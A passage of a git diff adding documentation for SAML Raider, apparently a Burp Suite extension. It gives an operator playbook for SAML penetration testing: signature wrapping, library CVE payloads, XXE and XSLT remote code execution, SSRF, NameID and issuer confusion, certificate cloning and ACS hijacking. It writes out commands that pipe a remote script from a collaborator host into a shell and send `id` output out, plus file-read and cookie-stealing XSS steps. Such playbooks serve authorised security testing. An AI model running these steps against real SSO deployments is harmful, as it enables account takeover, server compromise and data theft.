1.4.1) -Use against older Java Santuario / ManageEngine ServiceDesk (CVE-2022-47966). -**Steps:** pick flavor. Field label flips to **Shell command:**. Enter the command you want executed, e.g. `curl https://collab.example/pwn`. OK. Forward. - -**Oracle:** inbound Collaborator hit = RCE. (The XSLT response body may contain `java.lang.UNIXProcess@...` — that also confirms exec succeeded.) - -#### Xalan DocumentHandler class instantiation (CVE-2014-0107) -Bypass of Xalan 2.7.2's secure-processing flag via `xalan:content-handler="com.sun.beans.decoder.DocumentHandler"`. Use against SPs that upgraded xmlsec but kept an old Xalan. -**Steps:** pick flavor → enter OOB URL (used by `xalan:entities`) → OK. Forward. Collaborator hit confirms class instantiation. - -### KeyInfo SSRF -**Target:** signed message with ``. **Prereq:** SP dereferences URIs in KeyInfo during validation (CVE-2021-40690 Santuario variants). - -**Steps:** -1. Click **KeyInfo SSRF** → OOB dialog. -2. Supply Collaborator URL or custom domain. -3. OK. The `` inside `` is replaced with ``. -4. Forward. - -**Oracle:** Collaborator hit = SP is fetching keys from attacker-controlled URLs during sig processing. This can be escalated to trust-override if you serve a fake cert at that URL. - -### SigRef SSRF (three modes in the dropdown) - -#### REFERENCE_URI -Swaps the `` attribute with an external URL. SP fetches that URL to compute the digest. -**Steps:** pick mode → click button → supply Collaborator URL → OK. -**Oracle:** inbound HTTP = direct SSRF primitive (can be `file://` too, depending on stack). - -#### XPATH_DOCUMENT -Injects a `` containing `document('https://collab.example/')` *before* the existing c14n transform. Santuario versions without SecureValidation resolve XPath `document()`. -**Steps:** same as above. -**Oracle:** inbound hit = XPath SSRF primitive; can fetch attacker-controlled XML (e.g. to prep CVE-2014-0107 class instantiation). - -#### BASE64_XXE -Prepends a Base64 transform whose decoded content is an XXE-laden XML document referencing the collaborator URL. Targets .NET CVE-2022-34716 — the XML signature code base64-decodes the transform input and re-parses it through a permissive XML reader. -**Steps:** pick mode → Collaborator URL → OK. -**Oracle:** inbound hit = .NET XML signature XXE confirmed. - ---- - -## Inject row — value-level payload injection - -### Comment Injection (CommentInjection) -Inject `` into the `NameID` text. Exclusive C14N strips comments *before* digest computation, so the signature stays valid while naive text extraction on the SP returns a truncated email. Covers Duo CVE-2017-11427/28/29/30. - -**Position dropdown:** -- **Before @** — `admin@victim.com` — parser returns `admin`, enabling account takeover if the SP treats `admin` as a user ID. -- **After @** — `admin@victim.com` — parser returns `admin@`. -- **Prepend** — `admin@victim.com` — parser returns empty / anonymous. -- **Append** — least effective; included for completeness. - -**Steps:** pick position → **Inject Comment** → forward. -**Oracle:** login as a different user than what's in the full NameID — often logs in as the admin of another tenant. - -### PI Injection (PIInjection) -Same attack surface as Comment Injection but uses `` processing instructions instead of comments. Some parsers strip PIs differently from comments — the two variants catch different stacks. - -**Steps:** same as Comment Injection but use the second dropdown + **Inject PI**. - -### HMAC Confusion -Swaps `` to `hmac-sha256` and recomputes the HMAC using the SubjectPublicKeyInfo DER of the embedded cert as the HMAC key. If the SP doesn't enforce a signature-algorithm allowlist, it verifies the HMAC using the same public cert bytes as the HMAC key — which the attacker already knows. Covers CVE-2019-1006 class. - -**Prereq:** message must embed an `` in KeyInfo (true for virtually every real-world signed response). - -**Steps:** **HMAC Confusion** button → forward. -**Oracle:** session granted despite no RSA signature. If rejected, the SP enforces algorithm pinning (good for them). - -### Inject XSS -Reflects an XSS payload into `Destination`, `Issuer`, `NameID`, or `Audience`. Vulnerable SPs render the field into error pages without HTML-escaping *before* signature validation runs. - -**Steps:** -1. **Inject XSS** → dialog opens. -2. Pick target field. -3. Default payload is `">`. Edit if needed. -4. OK. DOM writes the payload; the serializer XML-escapes attribute entities for well-formedness (`"`, `<`) — the SP is expected to un-escape for HTML rendering, which is where the XSS fires. -5. Forward. - -**Oracle:** XSS in the SP's error page (often `The assertion Destination "..." is invalid`). - -### Confuse Issuer -Mutate the Issuer text with invisible or near-invisible characters to bypass string-equality IdP lookup on multi-tenant SPs (HackerOne #976603 pattern). - -**Modes:** -- **Trailing space** (ASCII 0x20) -- **Trailing NBSP** (U+00A0) -- **Trailing ZWSP** (U+200B, zero-width) -- **Trailing Tab** (U+0009) -- **Homoglyph — Latin 'a' → Cyrillic 'а' (U+0430)** - -**Steps:** pick mode → **Confuse Issuer** → forward. -**Oracle:** SP accepts the response as coming from a different IdP than the one actually named in Issuer. Useful when the attacker controls an IdP at a lookalike name. - ---- - -## Manipulate row — assertion-level tampering - -### Extend Validity +24h -Sets `NotBefore` to *now − 1h* (absorbs clock skew) and pushes `NotOnOrAfter` / `SessionNotOnOrAfter` forward 24h. Tests whether the SP enforces the validity window at all. - -**Steps:** click **Extend Validity +24h** → forward (response is now stale-signed; see next). -**Typical combo:** apply Extend Validity, then re-sign with a cloned cert (see Signing). This replays a captured assertion beyond its natural expiry. - -### Status → Success -Replaces every `` with `urn:oasis:names:tc:SAML:2.0:status:Success`. Turns a failure response into a nominally-successful one. - -**Steps:** click → forward. -**Oracle:** SPs that key on StatusCode alone may start a session even though no valid assertion was present. - -### Remove Audience -Deletes every `` element. Tests whether the SP enforces audience matching. - -**Steps:** click → forward. -**Oracle:** SPs with missing audience checks accept assertions intended for any relying party — useful for cross-tenant / cross-SP replay. - -### Corrupt Digest -Flips the first base64 char of every `` but leaves `` and the `` structure intact. Distinct from Remove Signatures — tests the "signature is present but never validated" misconfig (common in internal enterprise SSO that was dev-enabled once and never re-verified). - -**Steps:** click → forward. -**Oracle:** session granted despite broken digest. Clean smoking gun for the report. - ---- - -## Encryption row — XML Encryption SSRF (for ``) - -Typical SP flow decrypts *before* signature verification, so these SSRF primitives fire pre-auth. - -### Enc SSRF (three modes) - -#### CIPHER_REFERENCE -Replaces the first `` (usually the wrapped session key inside ``) with ``. SP fetches the URL to get ciphertext. -**Steps:** pick mode → button → Collaborator URL → OK. Forward. -**Oracle:** inbound Collaborator hit *during* auth = pre-auth SSRF. - -#### DATA_REFERENCE -Injects `` into the first ``. -**Steps:** same as above. -**Oracle:** inbound hit = SP dereferences DataReference during key unwrap. - -#### ENCRYPTED_KEY_KEYINFO -Replaces the inner `` of the `` with `` pointing externally. SP fetches key material from the attacker during unwrap. -**Steps:** same as above. -**Oracle:** inbound hit = key-resolution SSRF; if combined with serving a fake wrapping key you may be able to forge the decrypted assertion. - ---- - -## Request row — AuthnRequest-side attacks - -### Spoof ACS URL (ACSSpoof) -**Target:** `` (`SAMLRequest` parameter). **Prereq:** IdP does not strictly enforce registered ACS URL. - -Rewrites `AssertionConsumerServiceURL` so the IdP delivers the SAMLResponse to attacker's server — leaks a valid signed assertion for the victim user. - -**Steps:** -1. Intercept the SP → IdP redirect that contains the SAMLRequest. -2. Open the SAML Raider tab. -3. **Spoof ACS URL** → supply Collaborator URL or attacker host. -4. Forward. Victim auths to IdP as normal; IdP posts the signed response to attacker. - -**Oracle:** attacker host receives a signed SAMLResponse for the victim's session. - -### Import Metadata -Fetch or paste SAML metadata XML; extracts every `` under `` and imports them into the Certificates tab. - -**Steps:** -1. **Import Metadata** → dialog opens. -2. Either enter a metadata URL (e.g. `https://idp.example.com/metadata`) and click **Fetch**, or paste XML into the text area. -3. OK. -4. Switch to the **SAML Raider Certificates** top-level tab — the imported cert is there. - -**Typical uses:** -- Cert-faking: clone the imported cert, self-sign with attacker key, re-sign assertions under the clone. -- Dupe-Key Confusion: needs the *original* cert bytes, which you get from here. - ---- - -## Signing row - -### Certificate dropdown -Select which certificate to sign with. Each cert with a private key is an option. Certs come from the Certificates tab — import, paste, or clone there first. - -### (Re-)Sign Assertion / (Re-)Sign Message -After any attack that invalidates the signature, re-sign with a controlled cert. -- **Re-Sign Assertion** — signs the first Assertion. -- **Re-Sign Message** — signs the whole Response. -Pick whichever the SP validates. - -**Typical combo:** -1. Capture original signed response → **Store Certificate** (seeds cert tab with IdP cert). -2. In Certificates tab, select that cert and **Clone Certificate** — generates a new cert with the same DN/issuer but an attacker-controlled private key. This defeats SPs that match the cert's subject / issuer strings instead of pinning the key. -3. Back in the SAML Raider tab, pick your cloned cert in the dropdown. -4. Apply any attack (XSW, Extend Validity, Remove Audience, etc.). -5. Click **(Re-)Sign Assertion**. -6. Forward. - -**Oracle:** session granted. If SP only looked at cert subject, cloned-cert re-sign wins. - -### Dupe Key Confusion -Black Hat 2019 .NET WIF / ADFS attack. Uses two different resolvers during signature processing — `ResolveSecurityKey` picks by key type (first match), `ResolveSecurityToken` picks by cert type. Plant attacker's RSAKeyValue first, original victim X509Certificate second. Signature verifies with attacker key; identity resolves to victim. - -**Prereq:** -- The original response was captured *and already loaded* in the SAML Raider tab — the extension remembers the original X509 bytes automatically. -- An attacker cert with private key is selected in the Signing dropdown. - -**Steps:** -1. Load the captured signed response into the SAML Raider tab. -2. In Certificates tab, ensure you have an attacker cert with a private key (create one via **Create Certificate** if needed). -3. Back in the SAML tab, select that attacker cert in the dropdown. -4. Click **Dupe Key Confusion**. - - Internally: re-signs the assertion with the attacker key, then rewrites KeyInfo — prepends attacker's `` and sets the `` back to the original victim cert. -5. Forward. The signature *is* valid (under attacker key), and identity resolution returns the victim cert. - -**Oracle:** session granted as any identity you want (you can combine with a prior Match-and-Replace on the NameID). - -### Remove Signatures -Drops every `` element. Tests whether SP accepts unsigned responses (buggy "no signature = skip verification" defaults). - -**Steps:** click → forward. -**Oracle:** session granted = sig check disabled. Report-worthy on its own. - -### Store Certificate -Grabs the first `` from the current SAML message and imports it into the Certificates tab. Use on a captured signed response to get the IdP's cert for cloning / Dupe-Key Confusion / metadata reference. - ---- - -## Workflow cookbooks - -### Sig-never-validated test (2 minutes) -1. **Corrupt Digest** → forward. If session: done. -2. **Remove Signatures** → forward. If session: done. -3. **HMAC Confusion** → forward. If session: algorithm not pinned. - -### Cross-tenant takeover (multi-tenant SP) -1. **Confuse Issuer → Trailing Space** → forward. -2. If login lands in victim tenant, report IdP-confusion bypass. -3. Else try **Homoglyph** variant. - -### NameID truncation -1. **Inject Comment → Before @**. -2. Forward. Log in as `admin` rather than `admin@victim.com`. -3. If blocked, try **Inject PI → Before @**. - -### Pre-auth RCE hunt (Java SP) -1. **Test XSLT → Xalan Runtime.exec**, command = `curl https://collab.example/rce`. -2. Forward. Collaborator hit = RCE. -3. Escalate command to `bash -c 'curl https://...|sh'`. - -### Encrypted-assertion pre-auth SSRF -1. **Enc SSRF → CIPHER_REFERENCE** + Collaborator URL → forward. -2. If no hit, try **ENCRYPTED_KEY_KEYINFO**. -3. Collaborator hit = SP decrypts attacker-controlled ciphertext pre-auth. - -### Victim session hijack via ACS -1. Intercept the SAMLRequest. -2. **Spoof ACS URL** → your server. -3. Forward. Victim auths; your server receives the signed SAMLResponse. -4. Replay it against the real SP ACS endpoint. - -### Cert-faking (original SAMLRaider workflow) -1. **Store Certificate** on captured response. -2. Certificates tab → select the stored cert → **Clone Certificate**. -3. Back to SAML tab → pick cloned cert in Signing dropdown. -4. Apply any mutation → **(Re-)Sign Message**. -5. Forward. If SP matches cert by subject/DN (not by pinned key), session granted. - ---- - -## Troubleshooting - -- **"This XML Message is not suitable for this particular XSW, is there a signature?"** — the response is unsigned. XSW needs a signature to wrap. Use Remove Signatures / Digest Tamper / Multi-Assertion CVEs instead. -- **"No X509Certificate found"** — the signed response embeds no cert (BYOC / pinned key). HMAC Confusion and Dupe Key Confusion won't work; try XSW or the CVE payloads. -- **"No Signature element found"** — the loaded message is not signed. Most Signing-row and SigRef-SSRF attacks need a sig. Load a signed message. -- **Stale signature warning won't clear** — click **Reset Message** or **(Re-)Sign Assertion**. -- **Collaborator unavailable** — you're on Community edition. Uncheck "Use Burp Collaborator" and supply your own OOB domain in the dialog. -- **Validity shifted but SP still rejects** — SP likely also validates the signature; re-sign after the Extend Validity click. diff --git a/doc/PLAYBOOK.md b/doc/PLAYBOOK.md new file mode 100644 index 0000000..d23030c --- /dev/null +++ b/doc/PLAYBOOK.md @@ -0,0 +1,478 @@ +# SAML Penetration Testing — Operator Playbook + +Engagement-phase playbook. Each module is a numbered procedure with explicit SAML Raider steps. +Reference [ATTACKS.md](ATTACKS.md) for per-button details. + +--- + +## Phase 0 — Setup + +1. Build: `./gradlew build` → load `build/libs/SAMLRaider-*-all.jar` in Burp (**Extensions → Add → Java**). +2. Proxy a complete SSO flow. When the extension detects `SAMLRequest` / `SAMLResponse`, a **SAML Raider** tab appears in the request/response editor. +3. On first capture: **Store Certificate** → seeds the Certificates tab with the IdP public cert. Do this before any other attack. +4. Optionally, open the **SAML Raider Certificates** tab at the top level and **Clone Certificate** on the stored IdP cert. That clone (same DN, attacker key) is used for re-signing throughout. + +--- + +## Phase 1 — Reconnaissance + +**Goal:** understand the SSO topology and collect artifacts before touching the wire. + +### 1.1 Read the intercepted message +In the SAML Raider tab, the **Message Info** panel shows: +- Issuer, Destination, Recipient (ACS URL) +- Signature algorithm and what's signed (Response vs Assertion) +- Whether assertion is encrypted (``) +- NotBefore / NotOnOrAfter / IssueInstant / SessionNotOnOrAfter +- NameID and Format +- AudienceRestriction values +- StatusCode + +Note all of these before touching anything. + +### 1.2 Fetch IdP / SP metadata +1. In the SAML Raider tab, click **Import Metadata**. +2. Enter the base URL of the SSO endpoint (e.g. `https://sso.target.com/sso`). +3. Click **Discover All** — probes 21 common SAML metadata paths and streams results into the table. +4. Select a green **✓ Valid metadata** row → click **Import Metadata**. +5. Switch to **SAML Raider Certificates** — imported signing certs appear there. + +If the metadata URL is known, use **Check URL** instead of Discover All. + +**What to note:** +- SP Entity ID (target of audience restriction) +- ACS endpoint(s) registered in metadata — if the IdP enforces strict ACS matching, ACS spoofing won't work +- Signing vs. Encryption KeyDescriptors — tells you which cert to use for re-signing vs. encrypting assertions +- `` elements — tells you which NameID format the SP expects + +### 1.3 Map the SP stack +Check HTTP response headers, error pages, and framework cookies to guess: +- **.NET / WIF / ADFS** → Dupe Key Confusion is viable (Module 9) +- **Ruby / Devise + ruby-saml** → check version; CVE-2024-45409 if < 1.17.0 +- **Go + crewjam/saml** → CVE-2022-41912 if unpatched +- **Java + Apache Santuario** → XSLT RCE (CVE-2022-47966), KeyInfo SSRF, SigRef SSRF +- **Python / python3-saml / python-saml** → check for recent XXE and XSW patches + +--- + +## Phase 2 — Signature Validation Testing + +**Goal:** determine whether the SP validates signatures at all before burning effort on XSW. + +This is the highest-ROI test. Do it in under five minutes before anything else. + +### 2.1 Corrupt Digest (fastest oracle) +1. Capture a signed SAMLResponse in Proxy. Do not forward. +2. SAML Raider tab → **Manipulate** row → **Corrupt Digest**. +3. Forward. +4. **Oracle:** session granted = digest never checked. SP treats the assertion as valid regardless of signature integrity. Report as critical; stop — no need to go further on sig validation. +5. **Oracle:** 403 / error = SP at least checks digest. Continue. + +### 2.2 Remove all signatures +1. Reset: **Reset Message** (restores original). +2. **Signing** row → **Remove Signatures**. +3. Forward. +4. **Oracle:** session granted = SP skips validation entirely when no sig is present. Also report as critical. +5. **Oracle:** error = SP requires a signature element. Continue. + +### 2.3 HMAC algorithm confusion +1. **Signing** row → **HMAC Confusion** (no cert needed — uses the embedded `` bytes as HMAC key). +2. Forward. +3. **Oracle:** session granted = SP does not enforce signature algorithm allowlist (CVE-2019-1006 class). Report. +4. **Oracle:** error = SP enforces alg pinning. + +If any of 2.1–2.3 succeed, log it and pivot to identity manipulation (Module 7) to escalate to account takeover. + +--- + +## Phase 3 — XSW (XML Signature Wrapping) + +**Goal:** make the SP verify a legitimate signature while consuming an attacker-controlled assertion. + +Precondition: the response is signed (signature is present). If Remove Signatures (§2.2) already gave you a session, skip this module. + +### 3.1 XSW blind scan +1. Start with **XSW3** (highest hit rate across most SP stacks). +2. **Attacks** tab → **XSW** row → pick variant from dropdown → click **Apply XSW**. +3. Before forwarding, click **Preview in Browser…** to confirm the evil assertion differs from the signed node. +4. Forward. +5. **Oracle:** login as attacker identity = XSW bypass confirmed. +6. If blocked, try variants in order: **XSW1, XSW2, XSW4, XSW5, XSW6, XSW7, XSW8**. + +XSW7 hides the evil copy inside ``; XSW8 inside `` — both are effective against older OneLogin and SimpleSAMLphp stacks. + +### 3.2 Customize the evil assertion +1. Before clicking Apply XSW, use **Match and Replace** to set the NameID in the evil assertion to your target user's email. +2. Apply XSW → Forward. +3. **Oracle:** session as target user = account takeover. Report as critical. + +--- + +## Phase 4 — Library-Specific CVE Payloads + +Run after XSW, or if you've identified the SP library in recon. + +### 4.1 CVE-2024-45409 (ruby-saml < 1.17.0) +**Prepends** an unsigned evil Assertion before the signed one. ruby-saml's XPath returns the first match. +1. **Attacks** tab → CVE dropdown → **CVE-2024-45409** → **Apply CVE** → Forward. +2. **Oracle:** session under attacker identity in the prepended assertion. + +### 4.2 CVE-2022-41912 (crewjam/saml, Go) +**Appends** an unsigned evil Assertion after the signed one. Library validates first, processes last. +1. **Attacks** tab → CVE dropdown → **CVE-2022-41912** → **Apply CVE** → Forward. +2. **Oracle:** session under identity in appended assertion. + +### 4.3 CVE-2025-23369 (GitHub Enterprise / libxml2) +Exploits libxml2's entity-ID redefinition to make the `#id` reference resolve to attacker DOM. +1. **Attacks** tab → CVE dropdown → **CVE-2025-23369** → **Apply CVE** → Forward. +2. **Oracle:** signature validates against one node; SP consumes a different, attacker-inserted node. + +### 4.4 CVE-2025-25291 / CVE-2025-25292 (ruby-saml parser differential) +DOCTYPE- and namespace-based parser differentials — Nokogiri vs. REXML see different DOMs. +1. **Attacks** tab → CVE dropdown → select variant → **Apply CVE** → Forward. +2. **Oracle:** session under identity visible in attacker's namespace view but not the verifier's. + +**Quick reference:** click **?** next to the CVE dropdown for affected library versions and CVSSv3. + +--- + +## Phase 5 — XML Parser Attacks (XXE, XSLT) + +These fire **before** signature validation on many SPs — try them even if signing is enforced. + +### 5.1 XXE (external entity injection) +**Target:** any SAML response. Useful against older .NET / Java XML parsers. +1. **SSRF/RCE** tab → click **Test XXE**. +2. **Burp Pro:** check **Use Burp Collaborator** (auto-populated). + **Community:** uncheck it → enter your OOB listener domain. +3. Click OK. The payload is prepended to the SAML XML. +4. Forward. +5. **Oracle:** inbound Collaborator / OOB hit = XML parser resolves external entities → probe for file read or internal SSRF. +6. Escalate: customize the XXE to read `/etc/passwd` or `C:\Windows\win.ini` — paste the result as file URI and see if the SP exfiltrates it. + +### 5.2 XSLT injection (all 3 flavors) +**Target:** any signed response with `` in the Reference (virtually all signed SAML). + +#### Blind SSRF via Saxon `unparsed-text` (XSLT 2.0) +1. **SSRF/RCE** tab → **Test XSLT** → pick **Saxon unparsed-text**. +2. Enter Collaborator URL in the **Collaborator/OOB URL** field → OK. +3. Forward. +4. **Oracle:** inbound Collaborator hit confirms XSLT 2.0 engine present. The request path may reveal the file being fetched. + +#### Java RCE via Xalan `Runtime.exec` (CVE-2022-47966 / ManageEngine) +1. **Test XSLT** → pick **Xalan Runtime.exec**. +2. Field label changes to **Shell command:** → enter `curl https://collab.example/rce`. +3. OK → Forward. +4. **Oracle:** inbound hit = RCE. Response body may contain `java.lang.UNIXProcess@...` as further confirmation. +5. Escalate to: `bash -c 'curl https://collab.example/$(id|base64)'` + +#### Xalan DocumentHandler class instantiation (CVE-2014-0107) +1. **Test XSLT** → pick **Xalan DocumentHandler**. +2. Enter OOB URL → OK → Forward. +3. **Oracle:** hit = arbitrary class instantiation on the Java classpath. + +--- + +## Phase 6 — SSRF Attacks + +### 6.1 x509 / KeyInfo SSRF +**Target:** signed response. SP fetches keys from URIs in `` during validation. +1. **SSRF/RCE** tab → **KeyInfo SSRF**. +2. Enter Collaborator URL → OK. +3. The `` is replaced with ``. +4. Forward. +5. **Oracle:** inbound hit = SP fetches external keys during sig processing → can escalate by serving an attacker-controlled cert at that URL to override trust. + +### 6.2 SigRef SSRF (three modes) + +#### REFERENCE_URI +SP fetches an external URL to obtain the canonicalized data for digest computation. +1. **SSRF/RCE** tab → **SigRef SSRF** dropdown → **REFERENCE_URI**. +2. Click button → Collaborator URL → OK → Forward. +3. **Oracle:** inbound hit = direct SSRF. Try `file:///etc/passwd` for local file read. + +#### XPATH_DOCUMENT +Injects `document('https://collab')` inside an XPath transform. +1. Dropdown → **XPATH_DOCUMENT** → same steps. +2. **Oracle:** hit = XPath SSRF. Combine with serving a malicious XML to chain class instantiation. + +#### BASE64_XXE (.NET CVE-2022-34716) +1. Dropdown → **BASE64_XXE** → same steps. +2. **Oracle:** hit = .NET XML signature processes a base64-decoded XXE document through a permissive parser. + +### 6.3 Encryption SSRF (pre-auth, for EncryptedAssertion targets) + +SPs decrypt before verifying signatures — these land pre-auth even on properly signing SPs. + +1. Intercept the SAMLResponse in **Proxy**. Do not forward. +2. **SSRF/RCE** tab → **Enc SSRF** mode dropdown. + +#### CipherReference (highest hit rate) +3. Select **CipherReference** → click **Enc SSRF** → Collaborator URL → OK. +4. Forward. +5. **Oracle:** inbound Collaborator hit during auth = pre-auth SSRF confirmed. + +#### EncryptedKey KeyInfo (second attempt) +6. **Reset Message** → pick **EncryptedKey KeyInfo** → same steps. +7. **Oracle:** SP fetches the wrapping key from attacker URL during key unwrap. + +#### DataReference +8. **Reset Message** → pick **DataReference** → same steps. +9. **Oracle:** SP dereferences DataReference list during decryption. + +Always **Reset Message** between modes — SPs reject replayed assertions. + +--- + +## Phase 7 — Assertion Manipulation + +### 7.1 Replay — Extend validity window +Use this to replay a captured assertion after its natural `NotOnOrAfter` has elapsed. +1. **Assertion** tab → **Extend Validity +24h**. +2. Adjusts `NotBefore` to now−1h, `NotOnOrAfter` / `SessionNotOnOrAfter` to now+24h. +3. Signature is now stale — either: + - Forward as-is to test if SP enforces timestamps AND signature together. + - Or re-sign (Module 9) first if SP requires a valid sig. +4. **Oracle:** session granted with an expired assertion = timestamp not enforced. + +### 7.2 Replay — Refresh timestamps on a crafted assertion +Use this when you've hand-edited the assertion XML and need fresh timestamps without re-typing them. +1. **Assertion** tab → **Refresh Timestamps**. +2. Sets `IssueInstant` / `AuthnInstant` to now, `NotBefore` to now−1h, `NotOnOrAfter` / `SessionNotOnOrAfter` to now+1h. +3. **Oracle:** tests whether the SP enforces timestamp window — also a prerequisite before forwarding any crafted assertion. + +### 7.3 Status code bypass +Some SPs process assertions regardless of the top-level ``. +1. **Assertion** tab → **Status → Success**. +2. Replaces every StatusCode Value with `urn:oasis:names:tc:SAML:2.0:status:Success`. +3. Forward. +4. **Oracle:** SP starts a session even when no valid assertion was present in the original (error) response. + +### 7.4 Audience restriction bypass +1. **Assertion** tab → **Remove Audience**. +2. Removes all `` elements. +3. Forward. +4. **Oracle:** SP accepts an assertion not scoped to its entity ID — enables cross-SP / cross-tenant assertion replay. + Combine with Extend Validity for cross-tenant replay of an expired assertion. + +--- + +## Phase 8 — Identity Manipulation + +### 8.1 NameID comment injection (Duo CVE-2017-11427/28/29/30) +Exclusive C14N strips comments before digest computation → signature stays valid, SP gets truncated NameID. +1. **Attacks** tab → **Inject** row → **Comment Injection** dropdown → pick position. + - **Before @** → `admin@victim.com` — naive text extraction returns `admin`. + - **After @** → `admin@victim.com` — returns `admin@`. + - **Prepend** → `admin@victim.com` — may return empty. +2. **Inject Comment** → Forward. +3. **Oracle:** login lands on `admin`'s account rather than `admin@victim.com`. + +### 8.2 NameID PI injection (processing instruction variant) +Same goal; some parsers strip PIs differently from comments — catches different stacks. +1. **Inject PI** dropdown → pick position → **Inject PI** → Forward. +2. **Oracle:** same as comment injection. + +### 8.3 Issuer confusion (multi-tenant SPs) +SP maps Issuer string to an IdP record by exact equality — invisible characters break that lookup. +1. **Attacks** tab → **Confuse Issuer** → pick mode: + - **Trailing Space** (ASCII 0x20) — most common miss. + - **Trailing NBSP** (U+00A0) + - **Trailing ZWSP** (U+200B) + - **Homoglyph** (Cyrillic 'а' for Latin 'a') +2. **Confuse Issuer** → Forward. +3. **Oracle:** SP accepts the response as coming from a different tenant's IdP — attacker-controlled IdP at a lookalike Issuer can now issue arbitrary assertions accepted by the target SP. + +### 8.4 XSS in SAML error pages +SP renders SAML fields into error messages without HTML-escaping before signature check runs. +1. **Attacks** tab → **Inject XSS** → pick target field (Destination, Issuer, NameID, Audience). +2. Default payload: `">`. Customize if needed. +3. OK → Forward. +4. **Oracle:** XSS fires in the SP's error page (e.g., `The assertion Destination "..." is invalid`). + Escalate with a payload that exfiltrates cookies or session tokens. + +--- + +## Phase 9 — Certificate Trust Testing + +**Goal:** determine whether the SP pins the exact key material or just matches by DN/Subject string. +A match-by-subject SP can be fooled into trusting assertions signed by an attacker key as long as the cert Subject matches the original IdP cert. + +### 9.1 Clone the IdP cert and re-sign +1. **Store Certificate** on a captured signed response (seeds Certificates tab with IdP cert). +2. **SAML Raider Certificates** tab → select the stored cert → **Clone Certificate**. + - Generates a new cert with the same Subject DN and issuer string but a fresh attacker-controlled RSA keypair. +3. Back in the **SAML Raider** tab, open the **Certificate** dropdown → select the cloned cert. +4. Apply any assertion mutation (change NameID, Extend Validity, Remove Audience, etc.). +5. **Signing** row → **(Re-)Sign Assertion** or **(Re-)Sign Message** (whichever the SP validates). +6. Forward. +7. **Oracle:** session granted = SP matches by Subject DN, not by pinned public key. Report as high — attacker with any cert sharing the IdP's DN can sign valid assertions. + +### 9.2 Clone a cert chain (multi-cert IdPs) +If the IdP uses an intermediate CA: +1. **Clone Chain** on the stored cert — creates matching certs for each cert in the chain. +2. Select the end-entity clone in the Certificate dropdown. +3. Proceed as in 9.1. + +### 9.3 Dupe Key Confusion (.NET WIF / ADFS — Black Hat 2019) +`ResolveSecurityKey` picks by key type (first match), `ResolveSecurityToken` picks by cert type — they see different KeyInfo elements. + +**Prereq:** capture a signed response and **Store Certificate** first. The extension remembers the original X509 bytes automatically. + +1. **SAML Raider Certificates** tab → create or use an attacker cert **with a private key** (use **Create Certificate** if needed). +2. Select it in the **Certificate** dropdown. +3. **Attacks** tab → **Signing** row → **Dupe Key Confusion**. + - Re-signs the assertion with the attacker key. + - Rewrites KeyInfo: prepends attacker's ``, leaves the original `` in place. +4. Forward. +5. **Oracle:** session granted as the identity in the assertion, with a signature that verified under an attacker key. + +--- + +## Phase 10 — Encrypted Assertion Attacks + +### 10.1 Forge an EncryptedAssertion (impersonation via re-encryption) + +Use when you've obtained the SP's encryption certificate (from metadata or **Store Certificate**) and want to inject a forged plaintext identity. + +**Workflow A — SP already sends EncryptedAssertion:** +1. **Assertion** tab → select **KeyInfo Style** from dropdown: + - **X509IssuerSerial** (default, matches most real IdP output) + - **Full X509Certificate** (verbose; use if IssuerSerial produces parse errors at the SP) +2. Click **Encrypt Assertion**. + - If a plaintext `` exists in the current XML: encrypts it in place using the SP cert in the Certificate dropdown. + - If only an `` exists (no plaintext): opens the **Build & Encrypt** dialog. + - **Issuer**, **NameID Format**, **Recipient**, **Audience** are pre-filled from response metadata. + - Enter the **NameID** (target user's email or username). + - Click **Build & Encrypt**. + - The extension re-encrypts using algorithms matched to what the original EncryptedAssertion used (AES-256-CBC + RSA-OAEP by default). +3. Forward. +4. **Oracle:** SP decrypts, processes the forged identity, and grants a session = full account takeover. + +**Workflow B — Build from scratch (no existing EncryptedAssertion):** +1. Edit the raw XML in the SAML Raider text area — remove any existing assertion content. +2. **Encrypt Assertion** → **Build & Encrypt** dialog appears. +3. Fill in NameID and adjust other fields as needed → **Build & Encrypt**. +4. Re-sign if the SP requires a valid outer signature (see §9.1). +5. Forward. + +**Note on IssuerName format:** the extension captures the verbatim `X509IssuerName` from the original `` at load time. When you re-encrypt, that exact DN string is reused in the new KeyInfo — matching the format the target IdP produced, rather than Java's RFC 2253 serialization. This avoids parse errors caused by DN format mismatches. + +--- + +## Phase 11 — ACS / Redirect Attacks + +### 11.1 ACS URL spoofing (SAMLRequest intercept) +**Target:** the outbound `SAMLRequest` sent from SP to IdP. +**Prereq:** IdP does not strictly enforce ACS URL against its registered metadata. +1. Intercept the SP → IdP redirect in Proxy. Do not forward. +2. SAML Raider tab → **Request** row → **Spoof ACS URL**. +3. Enter your listener URL (Burp Collaborator, netcat, Burp Intruder handler). +4. Forward. +5. Victim authenticates normally; IdP posts the signed SAMLResponse to your URL. +6. Replay that response against the real SP ACS endpoint using a fresh Burp Repeater tab. +7. **Oracle:** session granted using a victim's valid signed assertion captured out-of-band. + +### 11.2 Recipient / Destination confusion +SP may not check whether the `Recipient` attribute on `` or `Destination` on `` matches the current request's ACS URL. +1. In the SAML Raider text editor, change `Recipient` and `Destination` to a different ACS URL (e.g., another SP in the same federation). +2. **Refresh Timestamps** to keep the message fresh. +3. Forward to the original SP's ACS. +4. **Oracle:** session granted = SP doesn't validate Recipient/Destination → assertion intended for SP-B was accepted by SP-A (cross-SP replay). + +--- + +## Decision Tree — What to Try First + +``` +SAML response captured +│ +├─ Assertion plaintext or encrypted? +│ ├─ Encrypted → try Enc SSRF first (Phase 6.3) — pre-auth +│ └─ Plaintext → continue +│ +├─ Signed? +│ ├─ No → Remove Audience, Status→Success, Extend Validity, change NameID → Forward +│ └─ Yes → Phase 2 (sig validation tests) in order: +│ 1. Corrupt Digest → session? STOP (report critical) +│ 2. Remove Signatures → session? STOP (report critical) +│ 3. HMAC Confusion → session? Report (alg not pinned) +│ 4. Phase 3 (XSW1–8) +│ 5. Phase 4 (library CVEs) +│ +├─ SP stack identified? +│ ├─ .NET/ADFS → Dupe Key Confusion (Phase 9.3) +│ ├─ Java SP → XSLT RCE (Phase 5.2), KeyInfo SSRF (Phase 6.1) +│ ├─ ruby-saml < 1.17 → CVE-2024-45409 (Phase 4.1) +│ └─ Go crewjam → CVE-2022-41912 (Phase 4.2) +│ +├─ Multi-tenant SP? +│ └─ Confuse Issuer (Phase 8.3) → cross-tenant bypass +│ +├─ NameID is email format? +│ └─ Comment Injection before @ (Phase 8.1) → admin account takeover +│ +└─ Have SP encryption cert? + └─ Build & Encrypt flow (Phase 10.1) → forge assertion for any identity +``` + +--- + +## Quick-Reference: Common Attack Chains + 